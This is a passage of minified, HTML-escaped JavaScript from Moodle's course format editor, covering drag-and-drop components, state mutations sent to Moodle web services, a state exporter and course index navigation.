class _default extends _reactive.BaseComponent{configDragDrop(cmid){this.id=cmid,this.reactive.isEditing&amp;&amp;this.reactive.supportComponents&amp;&amp;(this.dragdrop=new _reactive.DragDrop(this),this.classes=this.dragdrop.getClasses())}destroy(){void 0!==this.dragdrop&amp;&amp;this.dragdrop.unregister()}dragStart(dropdata){this.reactive.dispatch(&quot;cmDrag&quot;,[dropdata.id],!0)}dragEnd(dropdata){this.reactive.dispatch(&quot;cmDrag&quot;,[dropdata.id],!1)}getDraggableData(){return this.reactive.getExporter().cmDraggableData(this.reactive.state,this.id)}validateDropData(dropdata){return&quot;cm&quot;===(null==dropdata?void 0:dropdata.type)}showDropZone(dropdata){dropdata.nextcmid!=this.id&amp;&amp;dropdata.id!=this.id&amp;&amp;this.element.classList.add(this.classes.DROPUP)}hideDropZone(){this.element.classList.remove(this.classes.DROPUP)}drop(dropdata){dropdata.id!=this.id&amp;&amp;dropdata.nextcmid!=this.id&amp;&amp;this.reactive.dispatch(&quot;cmMove&quot;,[dropdata.id],null,this.id)}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/courseeditor/dndsectionitem&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;],(function(_exports,_reactive){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Course index section title draggable component.
   *
   * This component is used to control specific course section interactions like drag and drop
   * in both course index and course content.
   *
   * @module     core_courseformat/local/courseeditor/dndsectionitem
   * @class      core_courseformat/local/courseeditor/dndsectionitem
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class _default extends _reactive.BaseComponent{configDragDrop(sectionid,state,fullregion){this.id=sectionid,void 0===this.section&amp;&amp;(this.section=state.section.get(this.id)),void 0===this.course&amp;&amp;(this.course=state.course),this.section.number&gt;0&amp;&amp;(this.getDraggableData=this._getDraggableData),this.fullregion=fullregion,this.reactive.isEditing&amp;&amp;this.reactive.supportComponents&amp;&amp;(this.dragdrop=new _reactive.DragDrop(this),this.classes=this.dragdrop.getClasses())}destroy(){void 0!==this.dragdrop&amp;&amp;this.dragdrop.unregister()}dragStart(dropdata){this.reactive.dispatch(&quot;sectionDrag&quot;,[dropdata.id],!0)}dragEnd(dropdata){this.reactive.dispatch(&quot;sectionDrag&quot;,[dropdata.id],!1)}_getDraggableData(){return this.reactive.getExporter().sectionDraggableData(this.reactive.state,this.id)}validateDropData(dropdata){if(&quot;cm&quot;===(null==dropdata?void 0:dropdata.type)){var _this$section;const firstcmid=null===(_this$section=this.section)||void 0===_this$section?void 0:_this$section.cmlist[0];return dropdata.id!==firstcmid}return!1}showDropZone(){this.element.classList.add(this.classes.DROPZONE)}hideDropZone(){this.element.classList.remove(this.classes.DROPZONE)}drop(dropdata){var _this$section2;&quot;cm&quot;==dropdata.type&amp;&amp;this.reactive.dispatch(&quot;cmMove&quot;,[dropdata.id],this.id,null===(_this$section2=this.section)||void 0===_this$section2?void 0:_this$section2.cmlist[0])}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/courseeditor/mutations&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Default mutation manager
   *
   * @module     core_courseformat/local/courseeditor/mutations
   * @class     core_courseformat/local/courseeditor/mutations
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};return _exports.default=class{async _callEditWebservice(action,courseId,ids,targetSectionId,targetCmId){const args={action:action,courseid:courseId,ids:ids};targetSectionId&amp;&amp;(args.targetsectionid=targetSectionId),targetCmId&amp;&amp;(args.targetcmid=targetCmId);let ajaxresult=await _ajax.default.call([{methodname:&quot;core_courseformat_update_course&quot;,args:args}])[0];return JSON.parse(ajaxresult)}init(stateManager){stateManager.addUpdateTypes({prepareFields:this._prepareFields})}_prepareFields(stateManager,updateName,fields){return fields.locked=!1,fields}async cmMove(stateManager,cmids,targetSectionId,targetCmId){if(!targetSectionId&amp;&amp;!targetCmId)throw new Error(&quot;Mutation cmMove requires targetSectionId or targetCmId&quot;);const course=stateManager.get(&quot;course&quot;);this.cmLock(stateManager,cmids,!0);const updates=await this._callEditWebservice(&quot;cm_move&quot;,course.id,cmids,targetSectionId,targetCmId);stateManager.processUpdates(updates),this.cmLock(stateManager,cmids,!1)}async sectionMove(stateManager,sectionIds,targetSectionId){if(!targetSectionId)throw new Error(&quot;Mutation sectionMove requires targetSectionId&quot;);const course=stateManager.get(&quot;course&quot;);this.sectionLock(stateManager,sectionIds,!0);const updates=await this._callEditWebservice(&quot;section_move&quot;,course.id,sectionIds,targetSectionId);stateManager.processUpdates(updates),this.sectionLock(stateManager,sectionIds,!1)}async addSection(stateManager,targetSectionId){targetSectionId||(targetSectionId=0);const course=stateManager.get(&quot;course&quot;),updates=await this._callEditWebservice(&quot;section_add&quot;,course.id,[],targetSectionId);stateManager.processUpdates(updates)}async sectionDelete(stateManager,sectionIds){const course=stateManager.get(&quot;course&quot;),updates=await this._callEditWebservice(&quot;section_delete&quot;,course.id,sectionIds);stateManager.processUpdates(updates)}cmDrag(stateManager,cmIds,dragValue){this.setPageItem(stateManager),this._setElementsValue(stateManager,&quot;cm&quot;,cmIds,&quot;dragging&quot;,dragValue)}sectionDrag(stateManager,sectionIds,dragValue){this.setPageItem(stateManager),this._setElementsValue(stateManager,&quot;section&quot;,sectionIds,&quot;dragging&quot;,dragValue)}cmCompletion(stateManager,cmIds,complete){const newValue=complete?1:0;this._setElementsValue(stateManager,&quot;cm&quot;,cmIds,&quot;completionstate&quot;,newValue)}cmLock(stateManager,cmIds,lockValue){this._setElementsValue(stateManager,&quot;cm&quot;,cmIds,&quot;locked&quot;,lockValue)}sectionLock(stateManager,sectionIds,lockValue){this._setElementsValue(stateManager,&quot;section&quot;,sectionIds,&quot;locked&quot;,lockValue)}_setElementsValue(stateManager,name,ids,fieldName,newValue){stateManager.setReadOnly(!1),ids.forEach((id=&gt;{const element=stateManager.get(name,id);element&amp;&amp;(element[fieldName]=newValue)})),stateManager.setReadOnly(!0)}setPageItem(stateManager,type,id,isStatic){let newPageItem;if(void 0!==type&amp;&amp;(newPageItem=stateManager.get(type,id),!newPageItem))return;stateManager.setReadOnly(!1);const course=stateManager.get(&quot;course&quot;);course.pageItem=null,newPageItem&amp;&amp;(course.pageItem={id:id,type:type,sectionId:&quot;section&quot;==type?newPageItem.id:newPageItem.sectionid,isStatic:isStatic}),stateManager.setReadOnly(!0)}unlockAll(stateManager){const state=stateManager.state;stateManager.setReadOnly(!1),state.section.forEach((section=&gt;{section.locked=!1})),state.cm.forEach((cm=&gt;{cm.locked=!1})),stateManager.setReadOnly(!0)}async sectionIndexCollapsed(stateManager,sectionIds,collapsed){const collapsedIds=this._updateStateSectionPreference(stateManager,&quot;indexcollapsed&quot;,sectionIds,collapsed),course=stateManager.get(&quot;course&quot;);await this._callEditWebservice(&quot;section_index_collapsed&quot;,course.id,collapsedIds)}async sectionContentCollapsed(stateManager,sectionIds,collapsed){const collapsedIds=this._updateStateSectionPreference(stateManager,&quot;contentcollapsed&quot;,sectionIds,collapsed),course=stateManager.get(&quot;course&quot;);await this._callEditWebservice(&quot;section_content_collapsed&quot;,course.id,collapsedIds)}_updateStateSectionPreference(stateManager,preferenceName,sectionIds,preferenceValue){stateManager.setReadOnly(!1);const affectedSections=new Set;if(sectionIds.forEach((sectionId=&gt;{const section=stateManager.get(&quot;section&quot;,sectionId);if(void 0===section)return;const newValue=null!=preferenceValue?preferenceValue:section[preferenceName];section[preferenceName]!=newValue&amp;&amp;(section[preferenceName]=newValue,affectedSections.add(section.id))})),stateManager.setReadOnly(!0),0==affectedSections.size)return[];const collapsedSectionIds=[];return stateManager.state.section.forEach((section=&gt;{section[preferenceName]&amp;&amp;collapsedSectionIds.push(section.id)})),collapsedSectionIds}async cmState(stateManager,cmids){this.cmLock(stateManager,cmids,!0);const course=stateManager.get(&quot;course&quot;),updates=await this._callEditWebservice(&quot;cm_state&quot;,course.id,cmids);stateManager.processUpdates(updates),this.cmLock(stateManager,cmids,!1)}async sectionState(stateManager,sectionIds){this.sectionLock(stateManager,sectionIds,!0);const course=stateManager.get(&quot;course&quot;),updates=await this._callEditWebservice(&quot;section_state&quot;,course.id,sectionIds);stateManager.processUpdates(updates),this.sectionLock(stateManager,sectionIds,!1)}async courseState(stateManager){const course=stateManager.get(&quot;course&quot;),updates=await this._callEditWebservice(&quot;course_state&quot;,course.id);stateManager.processUpdates(updates)}},_exports.default}));
define(&quot;core_courseformat/local/courseeditor/dndsection&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;],(function(_exports,_reactive){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Course index section component.
   *
   * This component is used to control specific course section interactions like drag and drop
   * in both course index and course content.
   *
   * @module     core_courseformat/local/courseeditor/dndsection
   * @class      core_courseformat/local/courseeditor/dndsection
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class _default extends _reactive.BaseComponent{configState(state){this.id=this.element.dataset.id,this.section=state.section.get(this.id),this.course=state.course}configDragDrop(sectionitem){this.reactive.isEditing&amp;&amp;this.reactive.supportComponents&amp;&amp;(this.sectionitem=sectionitem,this.dragdrop=new _reactive.DragDrop(this),this.classes=this.dragdrop.getClasses())}destroy(){void 0!==this.sectionitem&amp;&amp;this.sectionitem.unregister(),void 0!==this.dragdrop&amp;&amp;this.dragdrop.unregister()}getLastCm(){return null}dragStart(dropdata){this.reactive.dispatch(&quot;sectionDrag&quot;,[dropdata.id],!0)}dragEnd(dropdata){this.reactive.dispatch(&quot;sectionDrag&quot;,[dropdata.id],!1)}validateDropData(dropdata){if(&quot;cm&quot;===(null==dropdata?void 0:dropdata.type))return!0;if(&quot;section&quot;===(null==dropdata?void 0:dropdata.type)){const sectionzeroid=this.course.sectionlist[0];return(null==dropdata?void 0:dropdata.id)!=this.id&amp;&amp;(null==dropdata?void 0:dropdata.id)!=sectionzeroid&amp;&amp;this.id!=sectionzeroid}return!1}showDropZone(dropdata){var _this$getLastCm;&quot;cm&quot;==dropdata.type&amp;&amp;(null===(_this$getLastCm=this.getLastCm())||void 0===_this$getLastCm||_this$getLastCm.classList.add(this.classes.DROPDOWN));&quot;section&quot;==dropdata.type&amp;&amp;(this.section.number&gt;dropdata.number?(this.element.classList.remove(this.classes.DROPUP),this.element.classList.add(this.classes.DROPDOWN)):(this.element.classList.add(this.classes.DROPUP),this.element.classList.remove(this.classes.DROPDOWN)))}hideDropZone(){var _this$getLastCm2;null===(_this$getLastCm2=this.getLastCm())||void 0===_this$getLastCm2||_this$getLastCm2.classList.remove(this.classes.DROPDOWN),this.element.classList.remove(this.classes.DROPUP),this.element.classList.remove(this.classes.DROPDOWN)}drop(dropdata){&quot;cm&quot;==dropdata.type&amp;&amp;this.reactive.dispatch(&quot;cmMove&quot;,[dropdata.id],this.id),&quot;section&quot;==dropdata.type&amp;&amp;this.reactive.dispatch(&quot;sectionMove&quot;,[dropdata.id],this.id)}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/courseeditor/exporter&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default=
/**
   * Module to export parts of the state and transform them to be used in templates
   * and as draggable data.
   *
   * @module     core_courseformat/local/courseeditor/exporter
   * @class      core_courseformat/local/courseeditor/exporter
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class{constructor(reactive){this.reactive=reactive,this.COMPLETIONS=[&quot;incomplete&quot;,&quot;complete&quot;,&quot;complete&quot;,&quot;fail&quot;]}course(state){var _state$course$highlig,_state$course$section;const data={sections:[],editmode:this.reactive.isEditing,highlighted:null!==(_state$course$highlig=state.course.highlighted)&amp;&amp;void 0!==_state$course$highlig?_state$course$highlig:&quot;&quot;};return(null!==(_state$course$section=state.course.sectionlist)&amp;&amp;void 0!==_state$course$section?_state$course$section:[]).forEach((sectionid=&gt;{var _state$section$get;const sectioninfo=null!==(_state$section$get=state.section.get(sectionid))&amp;&amp;void 0!==_state$section$get?_state$section$get:{},section=this.section(state,sectioninfo);data.sections.push(section)})),data.hassections=0!=data.sections.length,data}section(state,sectioninfo){var _state$course$highlig2,_sectioninfo$cmlist;const section={...sectioninfo,highlighted:null!==(_state$course$highlig2=state.course.highlighted)&amp;&amp;void 0!==_state$course$highlig2?_state$course$highlig2:&quot;&quot;,cms:[]};return(null!==(_sectioninfo$cmlist=sectioninfo.cmlist)&amp;&amp;void 0!==_sectioninfo$cmlist?_sectioninfo$cmlist:[]).forEach((cmid=&gt;{const cminfo=state.cm.get(cmid),cm=this.cm(state,cminfo);section.cms.push(cm)})),section.hascms=0!=section.cms.length,section}cm(state,cminfo){return{...cminfo,isactive:!1}}cmDraggableData(state,cmid){const cminfo=state.cm.get(cmid);if(!cminfo)return null;let nextcmid;const section=state.section.get(cminfo.sectionid),currentindex=null==section?void 0:section.cmlist.indexOf(cminfo.id);return void 0!==currentindex&amp;&amp;(nextcmid=null==section?void 0:section.cmlist[currentindex+1]),{type:&quot;cm&quot;,id:cminfo.id,name:cminfo.name,sectionid:cminfo.sectionid,nextcmid:nextcmid}}sectionDraggableData(state,sectionid){const sectioninfo=state.section.get(sectionid);return sectioninfo?{type:&quot;section&quot;,id:sectioninfo.id,name:sectioninfo.name,number:sectioninfo.number}:null}cmCompletion(state,cminfo){const data={statename:&quot;&quot;,state:&quot;NaN&quot;};if(void 0!==cminfo.completionstate){var _this$COMPLETIONS$cmi;data.state=cminfo.completionstate,data.hasstate=!0;const statename=null!==(_this$COMPLETIONS$cmi=this.COMPLETIONS[cminfo.completionstate])&amp;&amp;void 0!==_this$COMPLETIONS$cmi?_this$COMPLETIONS$cmi:&quot;NaN&quot;;data[&quot;is&quot;.concat(statename)]=!0}return data}allItemsArray(state){var _state$course$section2;const items=[];return(null!==(_state$course$section2=state.course.sectionlist)&amp;&amp;void 0!==_state$course$section2?_state$course$section2:[]).forEach((sectionid=&gt;{var _sectioninfo$cmlist2;const sectioninfo=state.section.get(sectionid);items.push({type:&quot;section&quot;,id:sectioninfo.id,url:sectioninfo.sectionurl});(null!==(_sectioninfo$cmlist2=sectioninfo.cmlist)&amp;&amp;void 0!==_sectioninfo$cmlist2?_sectioninfo$cmlist2:[]).forEach((cmid=&gt;{const cminfo=state.cm.get(cmid);items.push({type:&quot;cm&quot;,id:cminfo.id,url:cminfo.url})}))})),items}},_exports.default}));
define(&quot;core_courseformat/local/courseeditor/contenttree&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/tree&quot;,&quot;core/normalise&quot;],(function(_exports,_jquery,_tree,_normalise){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index keyboard navigation and aria-tree compatibility.
   *
   * Node tree and bootstrap collapsibles don&#039;t use the same HTML structure. However,
   * all keybindings and logic is compatible. This class translate the primitive opetations
   * to a bootstrap collapsible structure.
   *
   * @module     core_courseformat/local/courseindex/keyboardnav
   * @class      core_courseformat/local/courseindex/keyboardnav
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_tree=_interopRequireDefault(_tree);class _default extends _tree.default{constructor(mainElement,selectors,preventcache){var _selectors$ENTER;super(mainElement),this.selectors={SECTION:selectors.SECTION,TOGGLER:selectors.TOGGLER,COLLAPSE:selectors.COLLAPSE,ENTER:null!==(_selectors$ENTER=selectors.ENTER)&amp;&amp;void 0!==_selectors$ENTER?_selectors$ENTER:selectors.TOGGLER},preventcache&amp;&amp;(this._getVisibleItems=this.getVisibleItems,this.getVisibleItems=()=&gt;(this.refreshVisibleItemsCache(),this._getVisibleItems())),this.treeRoot.on(&quot;hidden.bs.collapse shown.bs.collapse&quot;,(()=&gt;{this.refreshVisibleItemsCache()})),this.registerEnterCallback(this.enterCallback.bind(this))}getActiveItem(){const activeItem=this.treeRoot.data(&quot;activeItem&quot;);if(activeItem)return(0,_normalise.getList)(activeItem)[0]}enterCallback(jQueryItem){const item=(0,_normalise.getList)(jQueryItem)[0];if(this.isGroupItem(jQueryItem)){const enter=item.querySelector(this.selectors.ENTER);&quot;#&quot;!==enter.getAttribute(&quot;href&quot;)&amp;&amp;(window.location.href=enter.getAttribute(&quot;href&quot;)),enter.click()}else{const link=item.querySelector(&quot;a&quot;);&quot;#&quot;!==link.getAttribute(&quot;href&quot;)?window.location.href=link.getAttribute(&quot;href&quot;):link.click()}}handleItemClick(event,jQueryItem){event.target.closest(this.selectors.COLLAPSE)?super.handleItemClick(event,jQueryItem):(jQueryItem.focus(),this.isGroupItem(jQueryItem)&amp;&amp;this.expandGroup(jQueryItem))}isGroupCollapsed(jQueryItem){return&quot;false&quot;===(0,_normalise.getList)(jQueryItem)[0].querySelector(&quot;[aria-expanded]&quot;).getAttribute(&quot;aria-expanded&quot;)}toggleGroup(item){var _toggler$data;const toggler=item.find(this.selectors.COLLAPSE);let collapsibleId=null!==(_toggler$data=toggler.data(&quot;target&quot;))&amp;&amp;void 0!==_toggler$data?_toggler$data:toggler.attr(&quot;href&quot;);if(!collapsibleId)return;collapsibleId=collapsibleId.replace(&quot;#&quot;,&quot;&quot;);(0,_jquery.default)(&quot;#&quot;.concat(collapsibleId)).length&amp;&amp;(0,_jquery.default)(&quot;#&quot;.concat(collapsibleId)).collapse(&quot;toggle&quot;)}expandGroup(item){this.isGroupCollapsed(item)&amp;&amp;this.toggleGroup(item)}collapseGroup(item){this.isGroupCollapsed(item)||this.toggleGroup(item)}expandAllGroups(){(0,_normalise.getList)(this.treeRoot)[0].querySelectorAll(this.selectors.SECTION).forEach((item=&gt;{this.expandGroup((0,_jquery.default)(item))}))}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/courseeditor/courseeditor&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core/notification&quot;,&quot;core_courseformat/local/courseeditor/exporter&quot;,&quot;core/log&quot;,&quot;core/ajax&quot;,&quot;core/sessionstorage&quot;],(function(_exports,_reactive,_notification,_exporter,_log,_ajax,Storage){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _defineProperty(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj}
/**
   * Main course editor module.
   *
   * All formats can register new components on this object to create new reactive
   * UI components that watch the current course state.
   *
   * @module     core_courseformat/local/courseeditor/courseeditor
   * @class     core_courseformat/local/courseeditor/courseeditor
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_notification=_interopRequireDefault(_notification),_exporter=_interopRequireDefault(_exporter),_log=_interopRequireDefault(_log),_ajax=_interopRequireDefault(_ajax),Storage=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Storage);class _default extends _reactive.Reactive{constructor(){super(...arguments),_defineProperty(this,&quot;stateKey&quot;,1),_defineProperty(this,&quot;sectionReturn&quot;,0)}async loadCourse(courseId,serverStateKey){if(this.courseId)throw new Error(&quot;Cannot load &quot;.concat(courseId,&quot;, course already loaded with id &quot;).concat(this.courseId));let stateData;serverStateKey||(serverStateKey=&quot;invalidStateKey_&quot;.concat(Date.now())),this._editing=!1,this._supportscomponents=!1,this.courseId=courseId;const storeStateKey=Storage.get(&quot;course/&quot;.concat(courseId,&quot;/stateKey&quot;));try{this.isEditing||serverStateKey!=storeStateKey||(stateData=JSON.parse(Storage.get(&quot;course/&quot;.concat(courseId,&quot;/staticState&quot;)))),stateData||(stateData=await this.getServerCourseState())}catch(error){return _log.default.error(&quot;EXCEPTION RAISED WHILE INIT COURSE EDITOR&quot;),void _log.default.error(error)}if(this.setInitialState(stateData),this.isEditing)this.stateKey=null;else{const newState=JSON.stringify(stateData);var _stateData$course$sta,_stateData,_stateData$course;if(Storage.get(&quot;course/&quot;.concat(courseId,&quot;/staticState&quot;))!==newState||storeStateKey!==serverStateKey)Storage.set(&quot;course/&quot;.concat(courseId,&quot;/staticState&quot;),newState),Storage.set(&quot;course/&quot;.concat(courseId,&quot;/stateKey&quot;),null!==(_stateData$course$sta=null===(_stateData=stateData)||void 0===_stateData||null===(_stateData$course=_stateData.course)||void 0===_stateData$course?void 0:_stateData$course.statekey)&amp;&amp;void 0!==_stateData$course$sta?_stateData$course$sta:serverStateKey);this.stateKey=Storage.get(&quot;course/&quot;.concat(courseId,&quot;/stateKey&quot;))}}setViewFormat(setup){var _setup$editing,_setup$supportscompon;this._editing=null!==(_setup$editing=setup.editing)&amp;&amp;void 0!==_setup$editing&amp;&amp;_setup$editing,this._supportscomponents=null!==(_setup$supportscompon=setup.supportscomponents)&amp;&amp;void 0!==_setup$supportscompon&amp;&amp;_setup$supportscompon}async getServerCourseState(){const courseState=await _ajax.default.call([{methodname:&quot;core_courseformat_get_state&quot;,args:{courseid:this.courseId}}])[0];return{course:{},section:[],cm:[],...JSON.parse(courseState)}}get isEditing(){var _this$_editing;return null!==(_this$_editing=this._editing)&amp;&amp;void 0!==_this$_editing&amp;&amp;_this$_editing}getExporter(){return new _exporter.default(this)}get supportComponents(){var _this$_supportscompon;return null!==(_this$_supportscompon=this._supportscomponents)&amp;&amp;void 0!==_this$_supportscompon&amp;&amp;_this$_supportscompon}getStorageValue(key){if(this.isEditing||!this.stateKey)return!1;const dataJson=Storage.get(&quot;course/&quot;.concat(this.courseId,&quot;/&quot;).concat(key));if(!dataJson)return!1;try{const data=JSON.parse(dataJson);return(null==data?void 0:data.stateKey)===this.stateKey&amp;&amp;data.value}catch(error){return!1}}setStorageValue(key,value){if(this.isEditing)return!1;const data={stateKey:this.stateKey,value:value};return Storage.set(&quot;course/&quot;.concat(this.courseId,&quot;/&quot;).concat(key),JSON.stringify(data))}async dispatch(){try{await super.dispatch(...arguments)}catch(error){_notification.default.exception(error),super.dispatch(&quot;unlockAll&quot;)}}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/courseindex/cm&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseeditor/dndcmitem&quot;,&quot;core/templates&quot;,&quot;core/prefetch&quot;,&quot;core/config&quot;],(function(_exports,_dndcmitem,_templates,_prefetch,_config){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index cm component.
   *
   * This component is used to control specific course modules interactions like drag and drop.
   *
   * @module     core_courseformat/local/courseindex/cm
   * @class      core_courseformat/local/courseindex/cm
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_dndcmitem=_interopRequireDefault(_dndcmitem),_templates=_interopRequireDefault(_templates),_prefetch=_interopRequireDefault(_prefetch),_config=_interopRequireDefault(_config);_prefetch.default.prefetchTemplate(&quot;core_courseformat/local/courseindex/cmcompletion&quot;);class Component extends _dndcmitem.default{create(){this.name=&quot;courseindex_cm&quot;,this.selectors={CM_NAME:&quot;[data-for=&#039;cm_name&#039;]&quot;,CM_COMPLETION:&quot;[data-for=&#039;cm_completion&#039;]&quot;},this.classes={CMHIDDEN:&quot;dimmed&quot;,LOCKED:&quot;editinprogress&quot;,RESTRICTIONS:&quot;restrictions&quot;,PAGEITEM:&quot;pageitem&quot;},this.id=this.element.dataset.id}static init(target,selectors){return new Component({element:document.getElementById(target),selectors:selectors})}stateReady(state){this.configDragDrop(this.id);const cm=state.cm.get(this.id),course=state.course;this._refreshCompletion({state:state,element:cm}),window.location.href!=cm.url&amp;&amp;window.location.href!=&quot;&quot;.concat(course.baseurl,&quot;#&quot;).concat(cm.anchor)||(this.reactive.dispatch(&quot;setPageItem&quot;,&quot;cm&quot;,this.id),this.element.scrollIntoView({block:&quot;center&quot;})),_config.default.contextid!=_config.default.courseContextId&amp;&amp;_config.default.contextInstanceId==this.id&amp;&amp;(this.reactive.dispatch(&quot;setPageItem&quot;,&quot;cm&quot;,this.id,!0),this.element.scrollIntoView({block:&quot;center&quot;})),cm.uservisible||this.addEventListener(this.getElement(this.selectors.CM_NAME),&quot;click&quot;,this._activityAnchor)}getWatchers(){return[{watch:&quot;cm[&quot;.concat(this.id,&quot;]:deleted&quot;),handler:this.remove},{watch:&quot;cm[&quot;.concat(this.id,&quot;]:updated&quot;),handler:this._refreshCm},{watch:&quot;cm[&quot;.concat(this.id,&quot;].completionstate:updated&quot;),handler:this._refreshCompletion},{watch:&quot;course.pageItem:updated&quot;,handler:this._refreshPageItem}]}_refreshCm(_ref){var _element$dragging,_element$locked,_element$hascmrestric;let{element:element}=_ref;this.element.classList.toggle(this.classes.CMHIDDEN,!element.visible),this.getElement(this.selectors.CM_NAME).innerHTML=element.name,this.element.classList.toggle(this.classes.DRAGGING,null!==(_element$dragging=element.dragging)&amp;&amp;void 0!==_element$dragging&amp;&amp;_element$dragging),this.element.classList.toggle(this.classes.LOCKED,null!==(_element$locked=element.locked)&amp;&amp;void 0!==_element$locked&amp;&amp;_element$locked),this.element.classList.toggle(this.classes.RESTRICTIONS,null!==(_element$hascmrestric=element.hascmrestrictions)&amp;&amp;void 0!==_element$hascmrestric&amp;&amp;_element$hascmrestric),this.locked=element.locked}_refreshPageItem(_ref2){let{element:element}=_ref2;if(!element.pageItem)return;const isPageId=&quot;cm&quot;==element.pageItem.type&amp;&amp;element.pageItem.id==this.id;this.element.classList.toggle(this.classes.PAGEITEM,isPageId),isPageId&amp;&amp;!this.reactive.isEditing&amp;&amp;this.element.scrollIntoView({block:&quot;nearest&quot;})}async _refreshCompletion(_ref3){let{state:state,element:element}=_ref3;if(this.reactive.isEditing||!element.istrackeduser)return;const completionElement=this.getElement(this.selectors.CM_COMPLETION);if(completionElement.dataset.value==element.completionstate)return;const data=this.reactive.getExporter().cmCompletion(state,element);try{const{html:html,js:js}=await _templates.default.renderForPromise(&quot;core_courseformat/local/courseindex/cmcompletion&quot;,data);_templates.default.replaceNode(completionElement,html,js)}catch(error){throw error}}_activityAnchor(event){const cm=this.reactive.get(&quot;cm&quot;,this.id);if(document.getElementById(cm.anchor))return void setTimeout((()=&gt;{this.reactive.dispatch(&quot;setPageItem&quot;,&quot;cm&quot;,cm.id)}),50);const course=this.reactive.get(&quot;course&quot;),section=this.reactive.get(&quot;section&quot;,cm.sectionid);if(!section)return;const url=&quot;&quot;.concat(course.baseurl,&quot;&amp;section=&quot;).concat(section.number,&quot;#&quot;).concat(cm.anchor);event.preventDefault(),window.location=url}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseindex/courseindex&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core_courseformat/courseeditor&quot;,&quot;jquery&quot;,&quot;core_courseformat/local/courseeditor/contenttree&quot;],(function(_exports,_reactive,_courseeditor,_jquery,_contenttree){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index main component.
   *
   * @module     core_courseformat/local/courseindex/courseindex
   * @class     core_courseformat/local/courseindex/courseindex
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
